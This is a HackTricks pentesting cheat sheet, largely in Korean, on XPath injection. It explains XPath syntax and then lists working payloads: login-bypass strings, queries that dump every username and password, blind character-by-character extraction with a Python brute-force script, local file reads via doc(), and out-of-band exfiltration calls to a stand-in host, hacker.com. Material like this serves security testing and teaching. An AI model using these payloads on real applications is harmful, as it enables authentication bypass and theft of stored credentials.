14 KiB
XPATH injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Basic Syntax
XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으로 XPath(XML Path Language) 쿼리를 형성하여 XML 문서를 쿼리하거나 탐색하는 애플리케이션의 취약점을 이용하는 데 사용됩니다.
Nodes Described
표현식은 XML 문서에서 다양한 노드를 선택하는 데 사용됩니다. 이러한 표현식과 그 설명은 아래에 요약되어 있습니다:
- nodename: "nodename"이라는 이름을 가진 모든 노드가 선택됩니다.
- /: 루트 노드에서 선택이 이루어집니다.
- //: 현재 노드에서 선택과 일치하는 노드가 문서 내 위치에 관계없이 선택됩니다.
- .: 현재 노드가 선택됩니다.
- ..: 현재 노드의 부모가 선택됩니다.
- @: 속성이 선택됩니다.
XPath Examples
경로 표현식과 그 결과의 예는 다음과 같습니다:
- bookstore: "bookstore"라는 이름을 가진 모든 노드가 선택됩니다.
- /bookstore: 루트 요소 bookstore가 선택됩니다. 요소에 대한 절대 경로는 슬래시(/)로 시작하는 경로로 표현됩니다.
- bookstore/book: bookstore의 자식인 모든 book 요소가 선택됩니다.
- //book: 문서 내 모든 book 요소가 선택됩니다, 위치에 관계없이.
- bookstore//book: bookstore 요소의 자손인 모든 book 요소가 선택됩니다, bookstore 요소 아래의 위치에 관계없이.
- //@lang: lang이라는 이름을 가진 모든 속성이 선택됩니다.
Utilization of Predicates
프레디케이트는 선택을 세분화하는 데 사용됩니다:
- /bookstore/book[1]: bookstore 요소의 첫 번째 book 요소 자식이 선택됩니다. IE 버전 5에서 9까지의 경우 첫 번째 노드를 [0]으로 인덱싱하는 문제를 해결하기 위해 JavaScript를 통해 SelectionLanguage를 XPath로 설정합니다.
- /bookstore/book[last()]: bookstore 요소의 마지막 book 요소 자식이 선택됩니다.
- /bookstore/book[last()-1]: bookstore 요소의 마지막에서 두 번째 book 요소 자식이 선택됩니다.
- /bookstore/book[position()<3]: bookstore 요소의 첫 두 book 요소 자식이 선택됩니다.
- //title[@lang]: lang 속성이 있는 모든 title 요소가 선택됩니다.
- //title[@lang='en']: "lang" 속성 값이 "en"인 모든 title 요소가 선택됩니다.
- /bookstore/book[price>35.00]: 가격이 35.00보다 큰 bookstore의 모든 book 요소가 선택됩니다.
- /bookstore/book[price>35.00]/title: 가격이 35.00보다 큰 bookstore의 book 요소의 모든 title 요소가 선택됩니다.
Handling of Unknown Nodes
와일드카드는 알려지지 않은 노드를 일치시키는 데 사용됩니다:
- *: 모든 요소 노드와 일치합니다.
- @*: 모든 속성 노드와 일치합니다.
- node(): 모든 종류의 노드와 일치합니다.
추가 예는 다음과 같습니다:
- /bookstore/*: bookstore 요소의 모든 자식 요소 노드가 선택됩니다.
- //*: 문서 내 모든 요소가 선택됩니다.
- //title[@*]: 적어도 하나의 속성이 있는 모든 title 요소가 선택됩니다.
Example
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
정보에 접근하기
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
스키마 식별 및 탈취
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
인증 우회
쿼리 예시:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
사용자와 비밀번호에서 OR 우회 (두 값이 동일함)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
널 주입 악용
Username: ' or 1]%00
사용자 이름 또는 비밀번호에서의 이중 OR (취약한 필드가 하나만 있어도 유효함)
중요: "and"가 첫 번째로 수행되는 연산임을 주의하세요.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
문자열 추출
출력에는 문자열이 포함되어 있으며 사용자는 값을 조작하여 검색할 수 있습니다:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
블라인드 익스플로이테이션
값의 길이를 가져오고 비교를 통해 추출하기:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
파이썬 예제
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
파일 읽기
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
OOB 익스플로잇
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
자동 도구
참고자료
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!
해킹 통찰력
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
지금 Discord에 참여하고 최고의 해커들과 협업을 시작하세요!
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.